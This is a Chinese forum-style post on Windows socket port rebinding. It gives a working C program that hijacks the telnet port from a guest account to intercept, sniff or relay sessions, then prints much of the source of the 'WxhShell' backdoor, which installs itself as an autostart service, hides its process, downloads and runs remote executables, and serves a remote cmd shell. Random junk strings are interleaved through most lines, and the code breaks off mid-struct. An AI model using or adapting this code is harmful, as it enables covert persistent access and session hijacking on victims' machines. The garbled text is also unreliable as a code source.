在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-KfMKN~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4Lz[bI ?FEh9l)d\ saddr.sin_family = AF_INET;
oq b(w+< |KO[[4b ?+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
oa[O~z{~ "?FBbJ
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
VuN#j<H !f}D*8\f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
KT AQ6k &7\fj 这意味着什么?意味着可以进行如下的攻击:
fu-,<m{ K4I/a#S'@6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2L51H( 5KIhk`S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
yS3or(K #\O'*mz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QIJ/'72 n</Rd= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
=}Q|#C =Lnip<t>ja 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
sM%l:Fv
8-cuaa 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qv|}>wU :"b :uQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Vn\jUEC j0 w@ \gO< #include
n-,mC/4 #include
&qIdT;^=I #include
$ub0$S/Hu #include
VN$7r DWORD WINAPI ClientThread(LPVOID lpParam);
a=v H:D int main()
WGyPyG#Fl {
Dd-a*6|x WORD wVersionRequested;
Uv~|Xj4. DWORD ret;
}([}A`@ WSADATA wsaData;
1Tev&J BOOL val;
C~.T[Mlu SOCKADDR_IN saddr;
kjXwVGK=P< SOCKADDR_IN scaddr;
q]*jTb int err;
cmq4w&x/ SOCKET s;
e-1G\}E SOCKET sc;
A]drNFE int caddsize;
QXO~DR1 HANDLE mt;
0O-"tP8o DWORD tid;
( )f) wVersionRequested = MAKEWORD( 2, 2 );
xD sKb_ err = WSAStartup( wVersionRequested, &wsaData );
;>F1?5P{ if ( err != 0 ) {
oMOh4NH,x printf("error!WSAStartup failed!\n");
/}iBrMD{[ return -1;
fr$6&HDZ9 }
{+3g*s/HI saddr.sin_family = AF_INET;
{>XoE % #7}YSfm^6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
xr7M#n F[W0gjUc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
z+CX$.Z saddr.sin_port = htons(23);
*O\lR-z!k if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wm9wnAy {
x3.,zfWs printf("error!socket failed!\n");
j*;.>akY7 return -1;
}z|9F(I }
N[v=;& val = TRUE;
IS;[oJef //SO_REUSEADDR选项就是可以实现端口重绑定的
9`? M-U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V'UFc>{o {
PtzT>< printf("error!setsockopt failed!\n");
F" 4;nU return -1;
j |o&T41 }
X\i;j!;d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
S/RChg_L5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(Jk[%_b>_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
j%J>LeTca ;18u02z^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/E i e5p {
|2rOV&@l9 ret=GetLastError();
'C#[iRG4 printf("error!bind failed!\n");
k2PK4Ua_}q return -1;
Z)@[N
6\? }
>ffC?5+ listen(s,2);
9]1LwX!M2 while(1)
*X}2 {
s#")hMJQ caddsize = sizeof(scaddr);
D(&WEmm\B //接受连接请求
F~bDg tN3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Kc#1H|'2N if(sc!=INVALID_SOCKET)
`R -?+76? {
b*{UO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$jv"$0Fc if(mt==NULL)
%Nob B {
WN#2<XjG printf("Thread Creat Failed!\n");
ra_v+HR7 break;
|`{$Ego: }
i
XGy*#>V }
&2O~BIRE CloseHandle(mt);
*Tr{a_{~C }
_{eA8J(A<
closesocket(s);
G-;EB WSACleanup();
?du*ITim return 0;
'
~fP#y }
v\?l+-A?y DWORD WINAPI ClientThread(LPVOID lpParam)
;cp||uO {
CVEo<Tz SOCKET ss = (SOCKET)lpParam;
82?LZ?!PD SOCKET sc;
vg_PMy\ unsigned char buf[4096];
v$g\]QS
p SOCKADDR_IN saddr;
)@y7 qb long num;
02T'B&&~ DWORD val;
!C^>tmqS DWORD ret;
IR;3{o //如果是隐藏端口应用的话,可以在此处加一些判断
*&R|0I{> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
V)ag ss w? saddr.sin_family = AF_INET;
^D9w=f#a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\~zm_-Hw@Y saddr.sin_port = htons(23);
{k[dg0UV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4Mt RI {
wrK@1F9! printf("error!socket failed!\n");
E&U_@ bc- return -1;
ZA@zs,o% }
lLglF4 val = 100;
m@0> =s~. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t=s.w(3t {
ziM@@$.F ret = GetLastError();
kmtkh" return -1;
Z5EII[=$o }
^gR~~t;@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}qZ^S9 {
P 6=5:-Hh ret = GetLastError();
f;Ijl 0d@ return -1;
t}OzF cyqN }
1F3Q^3+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2k&Voa {
Pt-O1$C[ printf("error!socket connect failed!\n");
aYWUwYB$ closesocket(sc);
/~c9'38 closesocket(ss);
Fzy#!^9Nu return -1;
F}1._I`- }
wByTNA7 while(1)
6VJS
l%X {
40dwp*/! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]k+(0qxG //如果是嗅探内容的话,可以再此处进行内容分析和记录
c>+68<H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,pQ[e$u1 num = recv(ss,buf,4096,0);
7m?fvKy if(num>0)
jtE'T}! d send(sc,buf,num,0);
R4$(NNC+/ else if(num==0)
&yOl}?u break;
T\:*+W37 num = recv(sc,buf,4096,0);
&Mt0Qa[ if(num>0)
dNov= w send(ss,buf,num,0);
[6/8O else if(num==0)
NZFUC D) break;
Ap |g[J }
\(`C*d closesocket(ss);
L&uPNcZ`- closesocket(sc);
_?$w8 S% return 0 ;
0(&RmR }
v!3Oq.ot @uG/2'B( c%+uji6 ==========================================================
U!JmSP Xf
mN/j2 下边附上一个代码,,WXhSHELL
:lmimAMt ?@MWV ==========================================================
&!HG.7AY 6q
`Un} #include "stdafx.h"
h,b_8g{! aOsc_5XDR; #include <stdio.h>
%e|UA-( #include <string.h>
{]N7kY.W #include <windows.h>
+OtD@lD`! #include <winsock2.h>
((^vsKT #include <winsvc.h>
`Ao"fRv# #include <urlmon.h>
+$/NTUOP #yEkd2Vy{ #pragma comment (lib, "Ws2_32.lib")
vu*9(t)EC #pragma comment (lib, "urlmon.lib")
[ lK`~MlQ K2V?[O# #define MAX_USER 100 // 最大客户端连接数
t? =V<Yd1 #define BUF_SOCK 200 // sock buffer
4\uq$.f- #define KEY_BUFF 255 // 输入 buffer
~SsfkM" |t;Ktl #define REBOOT 0 // 重启
Ay%]l| Gm #define SHUTDOWN 1 // 关机
nB5^ g9d/nRX& #define DEF_PORT 5000 // 监听端口
q~*|Wd'& o? K>ji! #define REG_LEN 16 // 注册表键长度
]"j%:fr #define SVC_LEN 80 // NT服务名长度
*/$] kE ,JPDPI/a // 从dll定义API
HW"5MZ8E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s:z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_)4zm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
BIg2`95F| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
x@pzgqi3 =CCddLO // wxhshell配置信息
mJH4M9WJ] struct WSCFG {
[[]NnWJ int ws_port; // 监听端口
+ EKp*Vje char ws_passstr[REG_LEN]; // 口令
6{fo.M? int ws_autoins; // 安装标记, 1=yes 0=no
z(>:LX"xz char ws_regname[REG_LEN]; // 注册表键名
}wEt=zOJ char ws_svcname[REG_LEN]; // 服务名
0G+qF96 char ws_svcdisp[SVC_LEN]; // 服务显示名
qP=a:R- char ws_svcdesc[SVC_LEN]; // 服务描述信息
t$R0UprK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GSH,;cY int ws_downexe; // 下载执行标记, 1=yes 0=no
BAT.> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
GpR,n2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
%%h.`p1 `/WOP`'zM };
2+R]q35- $:onKxVM // default Wxhshell configuration
XSx'@ qH struct WSCFG wscfg={DEF_PORT,
0$U\H>r "xuhuanlingzhe",
l^$U~OB8k 1,
M.C`nI4 "Wxhshell",
<Oy2JjY "Wxhshell",
aghlYcPg "WxhShell Service",
y'JJ#7O= "Wrsky Windows CmdShell Service",
"39mhX2 "Please Input Your Password: ",
~uB@o KMru 1,
4e?c W& "
http://www.wrsky.com/wxhshell.exe",
XZ3M~cDq "Wxhshell.exe"
blaXAqe };
.Pux F z@jKzyq // 消息定义模块
m}6>F0Kv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"ZmxHMf char *msg_ws_prompt="\n\r? for help\n\r#>";
`H^
H#W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j2 >WHh char *msg_ws_ext="\n\rExit.";
M[_Ptqjb char *msg_ws_end="\n\rQuit.";
X[?E{[@Z char *msg_ws_boot="\n\rReboot...";
zNEN[ char *msg_ws_poff="\n\rShutdown...";
t!>0^['g4 char *msg_ws_down="\n\rSave to ";
8Kn}o@Yd ICTjUQP char *msg_ws_err="\n\rErr!";
/~?[70B}E char *msg_ws_ok="\n\rOK!";
yV&]i-ey NxFCVqGb char ExeFile[MAX_PATH];
qa6HwlC1 int nUser = 0;
!yKrA|w1 HANDLE handles[MAX_USER];
QP@@h4J^ int OsIsNt;
+5kQ;D{+ *$mb~k^R SERVICE_STATUS serviceStatus;
Ie8K[ > SERVICE_STATUS_HANDLE hServiceStatusHandle;
E!,jTaZz x"Ij+~i{l // 函数声明
V@1,((,l int Install(void);
c5[~2e int Uninstall(void);
R F;u1vEQ8 int DownloadFile(char *sURL, SOCKET wsh);
%fh-x(4v int Boot(int flag);
S@4bpnhK void HideProc(void);
-,$:^4 int GetOsVer(void);
oiz]Bd int Wxhshell(SOCKET wsl);
z34+1d void TalkWithClient(void *cs);
Z_T~2t int CmdShell(SOCKET sock);
^vOEG;TR<- int StartFromService(void);
5?E;YyA int StartWxhshell(LPSTR lpCmdLine);
ZCfd<NS? %r:4'$E7| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
KkR.p,/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
Lk-h AN{[ }F3}"Ik'L // 数据结构和表定义
+]Z*_?j9{ SERVICE_TABLE_ENTRY DispatchTable[] =
t
Q>/1 {
~6OdwGWV {wscfg.ws_svcname, NTServiceMain},
8PG&/"K {NULL, NULL}
FGpV
]p };
J]Q-#g'Z !~-@sq // 自我安装
W:2]d int Install(void)
O@LUM{\ {
RF\h69]:I char svExeFile[MAX_PATH];
s-l3_210 HKEY key;
C"h7'+Kw strcpy(svExeFile,ExeFile);
[-#q'S n+Ng7 // 如果是win9x系统,修改注册表设为自启动
OoZv\"}!_ if(!OsIsNt) {
u$ ^r(.EV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:QMpp}G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9*CRMkPrd RegCloseKey(key);
Z>W&vDeuN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YsRq.9Mr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/T 4GPi\lg RegCloseKey(key);
VB4ir\nF return 0;
t & 5s. }
h>/L4j*Z }
N,ZmGzNP) }
Mo4igP else {
mDA1$fj" }O6E5YCm // 如果是NT以上系统,安装为系统服务
9;A9Q9Yr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!1bATO:x if (schSCManager!=0)
+1Rz + {
e&9v`8}
SC_HANDLE schService = CreateService
Js9EsN% (
_wZr`E) schSCManager,
Wtflw>- wscfg.ws_svcname,
@^b>S6d" wscfg.ws_svcdisp,
{ka={7 SERVICE_ALL_ACCESS,
YXGxE&! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1(Lq9hs` SERVICE_AUTO_START,
Q+E)_5_sA SERVICE_ERROR_NORMAL,
$oi8<8Y svExeFile,
Ga;Lm?6- NULL,
$ Vsf?ID NULL,
YUlH5rO3 NULL,
v=YI%{tx) NULL,
{XLRrU!* NULL
=>xyJ->R );
d s}E|Q if (schService!=0)
,WS{O6O7 {
l_T5KV CloseServiceHandle(schService);
k|
>zauK CloseServiceHandle(schSCManager);
Dwah_ p8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YA8ZB&]En/ strcat(svExeFile,wscfg.ws_svcname);
Qmj%otSg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#23($CSE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j|y"Lcq RegCloseKey(key);
Kr%O}<" return 0;
VQ4rEO=t }
^=w){]G }
5^36nEoA( CloseServiceHandle(schSCManager);
F\+!\b*lP }
4?aNJyV%& }
+`.,6TNVlY pA@BW:# return 1;
9:*a9xT, }
s&-dLkis{u VCUsvhI // 自我卸载
N<aMUV m int Uninstall(void)
b*cVC^{Dy {
5Yx
7Q:D HKEY key;
257q%" ->&amPv if(!OsIsNt) {
'\Uy;,tu / if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WL<f! RegDeleteValue(key,wscfg.ws_regname);
PE2O$:b\ RegCloseKey(key);
U~<~>^[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h
x
hl RegDeleteValue(key,wscfg.ws_regname);
?"T *{8 RegCloseKey(key);
S6c>D&Q return 0;
U5H5QW + }
qmbhx9V }
oMF[<Xf }
1K{hj% else {
h%U,g
9_ bVds23q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
]bAw>1,NVD if (schSCManager!=0)
v`~egE17 {
HJOoCf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3xpygx9 if (schService!=0)
WI\h@qSB {
Hr=?_Un" if(DeleteService(schService)!=0) {
x7c#kU2A&Z CloseServiceHandle(schService);
#h2 qrX&+ CloseServiceHandle(schSCManager);
.&n;S';" return 0;
||rZ+<
}
eu?DSad CloseServiceHandle(schService);
s"0Hz"[^= }
r?=3TAA CloseServiceHandle(schSCManager);
nb U?:=P }
>2LlBLQ }
Trml?zexD vOBXAF return 1;
^ V8?6E }
6G?7>M
VKHzGfv // 从指定url下载文件
=~{W;VZt' int DownloadFile(char *sURL, SOCKET wsh)
h2ou ] {
+ :k"{I HRESULT hr;
~{np G char seps[]= "/";
$R/@%U)-o char *token;
78FK{Cr char *file;
Cg%}= char myURL[MAX_PATH];
w:@W/e*9N char myFILE[MAX_PATH];
rJc=&'{&)N ?YhGW
strcpy(myURL,sURL);
hbTJXP~~? token=strtok(myURL,seps);
fBct%M 3 while(token!=NULL)
_l&.<nz {
Ip;;@o&D file=token;
"$N 4S9U token=strtok(NULL,seps);
ug9]^p/)^ }
JS0957K .Wvg{ S- GetCurrentDirectory(MAX_PATH,myFILE);
B3V+/o6 strcat(myFILE, "\\");
-^= JKd&p strcat(myFILE, file);
$3{I'r] send(wsh,myFILE,strlen(myFILE),0);
,IQ%7*f;O_ send(wsh,"...",3,0);
txemu* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+cx(Q(HD\ if(hr==S_OK)
2)jf~!o)Z return 0;
MHAWnH8 else
#i[V{J8.p return 1;
7>yb8/J ?
-`8w
_3 }
y_f^ dIK*= w!m4 // 系统电源模块
Xm[Cgt_? int Boot(int flag)
Y .\<P*iO {
d0N/!; HANDLE hToken;
j+NpQ}t: TOKEN_PRIVILEGES tkp;
!9. `zW"40 ;2iDa if(OsIsNt) {
]d50J@W
c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(,2U?p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/3CdP'c tkp.PrivilegeCount = 1;
x.aqy'/` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
uKd79[1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ak]H|D" 9 if(flag==REBOOT) {
E#mpj~{- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
y'U-y"7y return 0;
dmUa\1g# }
khfWU else {
oD~q/04! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$1;@@LSw return 0;
9Gk#2 }
a
#Pr)H }
o.KE=zp&z else {
m[6c{$A/w if(flag==REBOOT) {
tf?"AY4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K8|>" c~ return 0;
CeW}zkcT }
ue"e><c6: else {
vB1nj<]&z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V?o%0V return 0;
$5Tjo
T }
;$rh&ET }
LFPYnK i$S*5+ return 1;
Kma-W{vGD }
;@G5s+<l &Vmx<w // win9x进程隐藏模块
2N}h<Yd9 void HideProc(void)
m$bDWxm#e {
)>8 k8E ,kw:g&A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C'xWRSDO if ( hKernel != NULL )
Q(ec>+oi {
1ppU
?# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
]m"6a-,` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
u13v@<HGc FreeLibrary(hKernel);
_$BH.I }
Ej/P:nB *K2fp=Ns return;
Bu,VLIba }
nTxN>?l2E 53)*i\9& // 获取操作系统版本
Lo^gg#o int GetOsVer(void)
<%EjrjdvL+ {
x]<0Kq9K OSVERSIONINFO winfo;
L<H6AzR+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
EGJrnz8 GetVersionEx(&winfo);
m005*>IY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`ls^fnJTpf return 1;
)b;}]C else
so@wUxF return 0;
/H<tv5mXJ }
ps@{1Rn1 SbN.z // 客户端句柄模块
-<M'h int Wxhshell(SOCKET wsl)
ck K9@RQ {
XCQPVSh SOCKET wsh;
l6k.`1.In struct sockaddr_in client;
N2e]S8- DWORD myID;
P~ 7p~ke uT2w2A; while(nUser<MAX_USER)
xmbFJUMH {
Xe> int nSize=sizeof(client);
EK<ly"S. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
NJ$c0CNy if(wsh==INVALID_SOCKET) return 1;
?D S|vCae 2kVQ#JyuRI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=y WHm if(handles[nUser]==0)
f`"@7-N closesocket(wsh);
p-,(P+Np else
8$y5) ~Q nUser++;
i $;y }
S# sar}-I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
co [ Onj)AJ9M0r return 0;
mUjM5ceAXO }
o`}(1$a> Trt1M // 关闭 socket
>*S ;z+!& void CloseIt(SOCKET wsh)
!=rJ~s
F/{ {
x|q|> dPB closesocket(wsh);
Xhm)K3RA*T nUser--;
RoeLf Ow ExitThread(0);
e{7"7wn= }
( t59SY mVdg0 // 客户端请求句柄
p| o?nI void TalkWithClient(void *cs)
L#9g ~>~ {
QPJz~;V2 cSWn4-B@l SOCKET wsh=(SOCKET)cs;
LP:F'Q:< char pwd[SVC_LEN];
YB3?Ftgw char cmd[KEY_BUFF];
_omz74 char chr[1];
Ul%D}(, int i,j;
a5@XD_b U((mOm6 while (nUser < MAX_USER) {
I2^Eo5' J^)=8cy if(wscfg.ws_passstr) {
"=vH,_"Ql if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y?.l9
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o`<ps$yT //ZeroMemory(pwd,KEY_BUFF);
z<,rE i=0;
]aTF0 R while(i<SVC_LEN) {
ooIA#u 4oA9|}<FR // 设置超时
tB==v{t fd_set FdRead;
`g!NFp9q struct timeval TimeOut;
Tmr%r'i3 FD_ZERO(&FdRead);
k~HS_b*]d FD_SET(wsh,&FdRead);
V4qv7 TimeOut.tv_sec=8;
8bI;xjK^Q TimeOut.tv_usec=0;
pA?2UZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
w~l%xiC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?Q G?F9? t'im\_$F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d+Au`'{> pwd
=chr[0]; rugR>&mea
if(chr[0]==0xd || chr[0]==0xa) { FvT;8ik:3
pwd=0; DZ5QC aA
break; v"J7VF2
} "Iwd-#;$;
i++; i*2l4
} !@wG22iC4d
8lfKlXR78
// 如果是非法用户,关闭 socket 2(iv+<t
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u RPvo}!=1
} ePxwN?
.}x:yKyi@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P2>Y0"bY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \YrvH
3~6,fTMz{
while(1) { N,~"8YSo
c3q @]|aI
ZeroMemory(cmd,KEY_BUFF); [2Ot=t6]
D;QV`Z%I
// 自动支持客户端 telnet标准 v!77dj 6I
j=0; 85 <%L:EC
while(j<KEY_BUFF) { SJXP}JB_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mv#\+|p 1x
cmd[j]=chr[0]; tX
3y{W10"
if(chr[0]==0xa || chr[0]==0xd) { A&/VO$Y9wp
cmd[j]=0; IBSoAL
break; mj_V6`m4
} 0V5 {:mzA
j++; S1D;Xv@
} 'e5,%"5(c
Z|IFT1K
// 下载文件 <9yB& ^
if(strstr(cmd,"http://")) { #)
bqn|0l
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fOkB|E]
if(DownloadFile(cmd,wsh)) }j6<S-s~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi5Ffvs$
else ?Y|*EH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m.DC
} JDj^7\`
else { $3D#U^7i
Bn?MlG;aA
switch(cmd[0]) { AB")aX2%E
$G@^!(
// 帮助 71inHg
case '?': { "R9^X3;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {u_2L_
break; 19#A7
} XbMAcgS
// 安装 ' &j]~m
case 'i': { >S=,ype~G
if(Install()) 9d1 Gu"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7UA|G2Zr
else j3yz"-53e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bf&k:.v'8
break; c`x[C
} /!HFi>
// 卸载 4,P!D3SH
case 'r': { StWF66u34&
if(Uninstall()) 6kM'f}t[C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %eDJ]\*^X
else PP_fTacX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]d'#1G
break; M+Jcgb]
} 9&p;2/H
// 显示 wxhshell 所在路径 *&sXC@^@^
case 'p': { **L3T3$)
char svExeFile[MAX_PATH]; Imm|5-qJ
strcpy(svExeFile,"\n\r"); #RWH k
strcat(svExeFile,ExeFile); rm nfyn
send(wsh,svExeFile,strlen(svExeFile),0); "Ir.1FN
break; Mh;rhQ
} g1zX^^nd,V
// 重启 "}'Sk(
case 'b': { Q]NGd 0 J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <=7N2t)s4
if(Boot(REBOOT)) K`% I!Br
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .vJt&@NO
else { _z(ydL*
closesocket(wsh); UZ}>@0
ExitThread(0); UOtrq=y
} {%Ujp9i
break; Y\1XKAfB
} jYi{[**
// 关机 5xF R7%_&
case 'd': { 'YUx&FcM
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sM8 AORd
if(Boot(SHUTDOWN)) vhaUV#V"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ZS8}X*S
else { TSCc=c
closesocket(wsh); u{"@
4
ExitThread(0); rGxX]
} L.M|o
break; q\gvX
76a
} ZRr S""V
// 获取shell ?=X_a{}/
case 's': { maopr$r
CmdShell(wsh); &$
/}HND
closesocket(wsh); z`Cq,Sz/
ExitThread(0); "-;l{tL
break; EFKOElG(k
} zu-1|XX
// 退出 WJN}d-S=^
case 'x': { YDMimis\H5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); baVSQtda
CloseIt(wsh); J)xc mK
break; U&<Nhh
} >4lT0~V/
// 离开 _Z|3qQ
case 'q': { rJ UXA<:2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]A2l%V_7
closesocket(wsh); G,J~Ed
WSACleanup(); zrJ/Fs+s
exit(1); |vY0[#E8&
break; d|8iD`sZz
} %Kq`8
} &QL!Y{=Y6
} cjel6 nj
E-_Q3^
// 提示信息 /kY|PY
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @^';[P!
} 5V{zdS=
} /Xds+V^Z
L--(Y+vmf
return; \%! ~pfM I
} \dz@hJl:
eHjn<@
// shell模块句柄 ~yvOR`2Gg
int CmdShell(SOCKET sock) xXktMlI
{ +s'qcC
STARTUPINFO si; QQwD)WG
ZeroMemory(&si,sizeof(si)); =(~UK9`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h^D]@H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -^sbf.
PROCESS_INFORMATION ProcessInfo; 9(/ ;Wutj"
char cmdline[]="cmd"; Z $? Ql@M
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #*<*|AwoW|
return 0; 6SIk,Isy8
} 8C{mV^cn~
=+qtk(p
// 自身启动模式 V~uH)IMkh7
int StartFromService(void) ]$>O--
{ i:ZL0nH-
typedef struct jB17]OCN
{ WD^!G;}
DWORD ExitStatus; '>] 9efJA
DWORD PebBaseAddress; y2U^7VrO
DWORD AffinityMask; wf<=rW'
